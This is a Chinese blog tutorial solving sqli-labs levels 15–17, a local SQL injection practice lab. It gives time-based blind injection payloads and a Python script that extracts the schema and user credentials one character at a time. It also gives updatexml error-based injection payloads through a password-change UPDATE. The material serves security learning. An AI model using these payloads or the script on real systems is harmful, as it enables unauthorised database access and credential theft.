sqli-labs(less-15 ~ less-17)

1、less-15

1、这里其它的跟前面sqli-labs中的less-11~14是一样的(sqli-labs(less-9 ~ less-14)-CSDN博客),可以用万能密码登录,但是区别是此处没有回显和报错了,所以前面的union联合注入和报错注入就不行了;

所以我们可以采用时间盲注,关于时间盲注的具体细节可以看上面我的另一篇文章

2、我们首先得确定是何种闭合方式:

经过测试是单引号的闭合方式

username:admin'#

password:1

 3、我们测试一下时间盲注:

username:admin' and if(1,sleep(5),0)#

password:1

发现页面开始出现延迟所以验证我们的猜想

4、给出脚本:

import requests
import time
import datetime



url = "http://127.0.0.1:8077/sql/Less-15/" #填入url
result = ""
for i in range(1,100):
    l = 33
    r =130
    mid = (l+r)>>1
    while(l<r):
        #str = "admin' and if((ascii(substr((select database()),{0},1))>{1}),sleep(2),1)#".format(i,mid)
        #str = "admin' and if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{0},1))>{1}),sleep(2),1)#".format(i, mid)
        #str = "admin' and if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),{0},1))>{1}),sleep(2),1)#".format(i, mid)
        str = "admin' and if((ascii(substr((select group_concat(username,password) from security.users),{0},1))>{1}),sleep(2),1)#".format(i, mid)
        data = {
            "uname": str,
            "passwd": 1
        }#post提交参数
        print(str)
        time1 = datetime.datetime.now()#获取请求前的时间
        html = requests.post(url,data=data)#改用post提交
        time2  = datetime.datetime.now()#获取请求后的时间
        c = (time2-time1).seconds#两个时间相减得到页面延迟
        if c >=2:#因为sleep(2)所以这就是我们比对的依据
            l = mid+1
        else:
            r = mid
        mid = (l+r)>>1
    if(chr(mid)==" "):
        break
    result = result + chr(mid)
    print(result)
print("result: ",result)

 2、less-16

这里跟less-15是差不多的,但是换了闭合的方式

username:admin")#

password:1

 所以可以套用上面的脚本,改一下闭合方式即可

3、less-17

1、解题

1、打开页面发现是要我们改密码,我们知道mysql修改数据用的是update:

update语句的格式一般为:
update <table_name> set column = where <条件>

所以这里为update注入,一般配合报错注入让其报出错误,所以我们就设法让其报错即可

本机实验一下:

2、在本环境中是修改密码,所以会有:

update users set password='xxxx' 

输入

 username:admin

password:admin'

得到报错,可以确定是单引号闭合方式

 

利用一下报错注入:

username:admin

password:1' and updatexml(1,concat(0x7e,(version())),0)# 

 成功得到

3、得数据库名:

 username:admin

password:111' and updatexml(1,concat(0x7e,(database())),0)#

4、得表名:

username:admin

password:1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),0)#

 5、得字段名:

username:admin

password:1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),0)#

 6、得用户名和密码:

我们输入:

username:admin

password:1' and updatexml(1,concat(0x7e,(select group_concat(username,password) from users)),0)#

会出现:

 这里是因为:不能再from的子句中出现指定更新的目标表

例如错误写法:

update users set password='1' where id in (select id from users where username='admin')

 应该修改为:

update users set password='1' where id in (select id from (select id from users where username='admin')x)

其中生成了一个派生表:x其中包括一个字段id

所以最终的payload为:

 

username:admin

password:1' and updatexml(1,concat(0x7e,(select group_concat(username,password) from (select username,password from users)x)),0)#

  2、源代码分析

我们经过测试可以发现第一个查询是没有注入点的,猜测是check_input()函数的作用:

 所以这里即限制了长度又进行了转义,故此处不是注入点

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值